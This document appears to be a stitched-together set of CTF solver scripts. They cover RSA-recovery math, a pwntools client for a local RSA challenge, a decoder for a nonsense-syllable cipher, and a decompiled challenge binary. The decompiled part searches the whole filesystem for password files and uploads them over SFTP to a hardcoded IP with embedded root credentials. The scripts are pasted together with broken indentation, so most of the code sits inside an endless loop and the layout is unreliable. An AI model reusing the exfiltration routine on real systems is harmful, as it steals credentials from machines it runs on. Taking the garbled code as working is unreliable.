n = 80916351132285136921336714166859402248518125673421944066690210363157948681543515675261790287954711843082802283188843248579293238274583917836325545166981149125711216316112644776403584036920878846575128588844980283888602402513345309524782526525838503856925567762860026353261868959895401646623045981393058164201
N = 175887339574643371942360396913019735118423928391339797751049049816862344090324438786194807609356902331228801731590496587951642499325571035835790931895483345540104575533781585131558026624618308795381874809845454092562340943276838942273890971498308617974682097511232721650227206585474404895053411892392799799403
leak = 161177488484579680503127298320874823539858895081858980450427298120182550612626953405092823674668208591844284619026441298155371399651438065337570099147890081125477609238234662000811899869636390550619251741676887565983189442613760093303841954633720778312454175652907352477365434215186845209831284593041581382419
a = pow(9999, 66666)
b = pow(66666, 9999)
P.<x> = PolynomialRing(Zmod(N))
f = a*x^2 - leak*x + b*n
p = f.roots()
print(p)

from pwn import remote
from Crypto.Util.number import long_to_bytes, inverse

def connect_and_calculate(host, port):
    # 连接到服务器
    conn = remote(host, port)

    try:
        
        conn.recvuntil(b'Hi Palu\n')
        c_line = conn.recvline().decode()
        p_line = conn.recvline().decode()
        e_line = conn.recvline().decode()

        c = int(c_line.split(': ')[1].strip())
        p = int(p_line.split(': ')[1].strip())
        e = int(e_line.split(': ')[1].strip())
        n = p * p
        phi_n = p * (p - 1)
        d = inverse(e, phi_n)
        plaintext = pow(c, d, n)
        decrypted_message = long_to_bytes(plaintext)
        return decrypted_message

    finally:
        conn.close()
host = '127.0.0.1'
port = 58109
while True:
    try:
        result = connect_and_calculate(host, port)
        print(result)
    except Exception as e:
        print(f"发生错误：{e}")

    import re
    encoding_rules = {
        'a': '玛卡巴卡轰',    
        'b': '阿巴雅卡轰',
        'c': '伊卡阿卡噢轰',
        'd': '哈姆达姆阿卡嗙轰',
        'e': '咿呀呦轰',
        'f': '玛卡雅卡轰',
        'g': '伊卡阿卡轰',
        'h': '咿呀巴卡轰',
        'i': '达姆阿卡嗙轰',
        'j': '玛卡巴卡玛卡巴卡轰',
        'k': '玛卡巴卡玛卡巴卡玛卡巴卡轰',
        'l': '玛卡巴卡玛卡巴卡玛卡巴卡玛卡巴卡轰',
        'm': '阿巴雅卡阿巴雅卡轰',
        'n': '阿巴雅卡阿巴雅卡阿巴雅卡轰',
        'o': '阿巴雅卡阿巴雅卡阿巴雅卡阿巴雅卡轰',
        'p': '伊卡阿卡噢伊卡阿卡噢轰',
        'q': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
        'r': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
        's': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
        't': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
        'u': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
        'v': '咿呀呦咿呀呦轰',
        'w': '咿呀呦咿呀呦咿呀呦轰',
        'x': '咿呀呦咿呀呦咿呀呦咿呀呦轰',
        'y': '咿呀呦咿呀呦咿呀呦咿呀呦咿呀呦轰',
        'z': '玛卡雅卡玛卡雅卡轰',
        'A': '玛卡雅卡玛卡雅卡玛卡雅卡轰',
        'B': '玛卡雅卡玛卡雅卡玛卡雅卡玛卡雅卡轰',
        'C': '伊卡阿卡伊卡阿卡轰',
        'D': '伊卡阿卡伊卡阿卡伊卡阿卡轰',
        'E': '伊卡阿卡伊卡阿卡伊卡阿卡伊卡阿卡轰',
        'F': '咿呀巴卡咿呀巴卡轰',
        'G': '咿呀巴卡咿呀巴卡咿呀巴卡轰',
        'H': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
        'I': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
        'J': '达姆阿卡嗙达姆阿卡嗙轰',
        'K': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
        'L': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
        'M': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
        'N': '巴卡巴卡轰',
        'O': '巴卡巴卡巴卡巴卡轰',
        'P': '巴卡巴卡巴卡巴卡巴卡巴卡轰',
        'Q': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
        'R': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
        'S': '呀呦轰',
        'T': '呀呦呀呦轰',
        'U': '呀呦呀呦呀呦轰',
        'V': '呀呦呀呦呀呦呀呦轰',
        'W': '呀呦呀呦呀呦呀呦呀呦轰',
        'X': '达姆阿卡轰',
        'Y': '达姆阿卡达姆阿卡轰',
        'Z': '达姆阿卡达姆阿卡达姆阿卡轰',
        '0': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
        '1': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
        '2': '玛巴轰',
        '3': '玛巴玛巴轰',
        '4': '玛巴玛巴玛巴轰',
        '5': '玛巴玛巴玛巴玛巴轰',
        '6': '巴卡玛巴轰',
        '7': '巴卡玛巴巴卡玛巴轰',
        '8': '巴卡玛巴巴卡玛巴巴卡玛巴轰',
        '9': '巴卡玛巴巴卡玛巴巴卡玛巴巴卡玛巴轰',
        '=': '妈个巴子轰',
        '/': '妈个巴卡轰',
        '+': '妈个巴达轰',
    
    }
    
    def decodemaba(miwen):
        mingwen=''
        # print(f'密文{{miwen}}')
        result = re.split(r'(?<=轰)', miwen)
        # print(result)
        for it in result:
            # print(it)
            for key,val in encoding_rules.items():
                # print(val)
                if it==val:
                    # print("找到明文密码")
                    # print(key)
                    mingwen = str(mingwen)+str(key)
        print(mingwen)


​    
    decodemaba("密文")

    #!/usr/bin/env python
    # visit https://tool.lu/pyc/ for more information
    # Version: Python 3.8
    
    import os
    import paramiko
    from getpass import getpass
    
    def search_in_files(directory, search_text):
        pass
    # WARNING: Decompyle incomplete


​    
    def ssh(local_file_path, remote_file_path):
        hostname = '192.168.20.123'
        port = 22
        username = 'root'
        password = 'Network@2020'
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(hostname, port, username, password)
        sftp = client.open_sftp()
        sftp.put(local_file_path, remote_file_path)
        sftp.close()
        client.close()
        print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')
        flag = 'flag{234567uyhgn_aiduyai}'
    
    search_directory = '/'
    search_for_text = 'passwod'
    (a, b) = search_in_files(search_directory, search_for_text)
    ssh(a, b)